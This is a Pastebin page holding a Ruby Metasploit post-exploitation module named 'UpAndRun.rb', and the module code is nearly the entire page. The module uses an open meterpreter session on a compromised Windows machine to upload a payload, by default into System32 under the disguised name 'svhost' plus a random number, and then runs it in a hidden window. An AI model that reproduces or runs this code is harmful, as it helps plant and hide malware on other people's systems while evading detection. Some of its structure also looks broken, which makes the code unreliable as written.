r00t-3xp10it

UpAndRun.rb

Jul 5th, 2015
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 4.32 KB | None | 0 0
  1. ##
  2. #
  3. # [ UpAndRun.rb - upload a script or executable and run it ]
  4. # $Id$ V1.0 Author: pedr0 Ubuntu [r00t-3xp10it]
  5. # Hosted By: peterubuntu10[at]sourceforge[dot]net
  6. # http://sourceforge.net/p/myauxiliarymete/wiki/Home/
  7. # ---------------------------------------------
  8. # Based on: [darkoperator & sinn3r] metasploit modules!
  9. # http://www.offensive-security.com/metasploit-unleashed/Building_A_Module
  10. # http://www.offensive-security.com/metasploit-unleashed/Useful_API_Calls
  11. # http://www.rubydoc.info/github/rapid7/metasploit-framework/index
  12. # (the only CORE/API documentation available to study) :(
  13. #
  14. ##
  15.  
  16.  
  17.  
  18.   class Metasploit3 < Msf::Post
  19.         Rank = ExcellentRanking
  20.  
  21.  
  22.  
  23. # ------------------------------------
  24. # Building Metasploit/Armitage info/GUI
  25. # ------------------------------------
  26.     def initialize(info={})
  27.         super(update_info(info,
  28.             'Name'          => '[ UpAndRun.rb - upload a script or executable and run it ]',
  29.             'Description'   => %q{
  30.                     this module needs will upload a payload onto target system,
  31.                                         using an existence meterpreter open session (post-exploitation)
  32.                                         and then run it in a hidden chanalized windows.
  33.  
  34.             },
  35.             'License'       => UNKNOWN_LICENSE,
  36.                         'Author'        =>
  37.                 [
  38.                     'peterubuntu10[at]sourceforge[dot]net',
  39.                     'Special thanks to [darkoperator & sinn3r] from rapid7',
  40.                 ],
  41.  
  42.             'Version'       => '$Revision: 1.0',
  43.                         'releasedDate'  => 'nov 30 2014',
  44.             'Platform'      => 'windows',
  45.             'Arch'          => 'x86',
  46.             'References'    =>
  47.                 [
  48.                     [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
  49.                     [ 'URL', 'http://sourceforge.net/projects/myauxiliarymete/?source=navbar' ],
  50.                     [ 'URL', 'http://www.offensive-security.com/metasploit-unleashed/Building_A_Module' ],
  51.                     [ 'URL', 'http://oldmanlab.blogspot.pt/p/meterpreter-api-cheat-sheet.html' ],
  52.                     [ 'URL', 'http://www.rubydoc.info/github/rapid7/metasploit-framework/index' ],
  53.                     [ 'URL', 'https://github.com/rapid7/metasploit-framework/tree/master/modules/post' ],
  54.                     [ 'URL', 'https://www.facebook.com/Backtrack.Kali' ],
  55.                     [ 'URL', 'http://www.r00tsect0r.net' ]
  56.                 ],
  57.             'SessionTypes'  => [ 'shell', 'meterpreter' ]
  58.  
  59.         ))
  60.  
  61.         register_options(
  62.             [
  63.                                 OptString.new('upload', [ false, 'Executable or script to upload to target host.']),
  64.                                 OptString.new('path', [ false, 'Path on target to upload executable, default is %SYSTEM32%.'])
  65.             ], self.class)
  66.  
  67.     end
  68.  
  69.  
  70.  
  71.  
  72. # variable declaration
  73. session = client
  74. path = datastore['path']
  75. file = datastore['upload']
  76. sysnfo = session.sys.config.sysinfo
  77.  
  78.  
  79.  
  80.  
  81. unsupported if client.platform !~ /win32|win64/i
  82. #check for proper Meterpreter Platform
  83. def unsupported
  84.     print_error("This version of Meterpreter is not supported with this Script!")
  85.     raise Rex::Script::Completed
  86. end
  87.  
  88.  
  89.  
  90. # upload file on target (system32 OR other location inputed)
  91. def upload(session,file,trgloc = "")
  92.     if not ::File.exists?(file)
  93.         raise "#{file} to Upload does not exists!"
  94.     else
  95.         if trgloc == ""
  96.         location = session.fs.file.expand_path("%SYSTEM32%")
  97.         else
  98.             location = trgloc
  99.  
  100.         end
  101.         begin
  102.             ext = file[file.rindex(".") .. -1]
  103.             if ext and ext.downcase == ".exe"
  104.                 fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
  105.             else
  106.                 fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
  107.             end
  108.                         print_line("")
  109.             print_status("Uploading => #{file}...")
  110.             session.fs.file.upload_file("#{fileontrgt}","#{file}")
  111.             print_status("#{file} uploaded! to => #{fileontrgt}")
  112.  
  113.                            r=''
  114.                            r = session.sys.process.execute("cmd.exe /c start #{fileontrgt}", nil, {'Hidden' => true, 'Channelized' => true})
  115.                            print_good("Execute => #{fileontrgt}")
  116.                            print_status("agent uploaded and executed successfully!")
  117.                            print_line("")
  118.  
  119.                      # close channel when done
  120.                      r.channel.close
  121.                      r.close
  122.         rescue ::Exception => e
  123.             print_status("Error uploading file #{file}: #{e.class} #{e}")
  124.                         print_line("")
  125.             raise e
  126.         end
  127.     end
  128.     return fileontrgt
  129. end
  130.  
  131. exec = upload(session,file,path)
Advertisement
Add Comment
Please, Sign In to add comment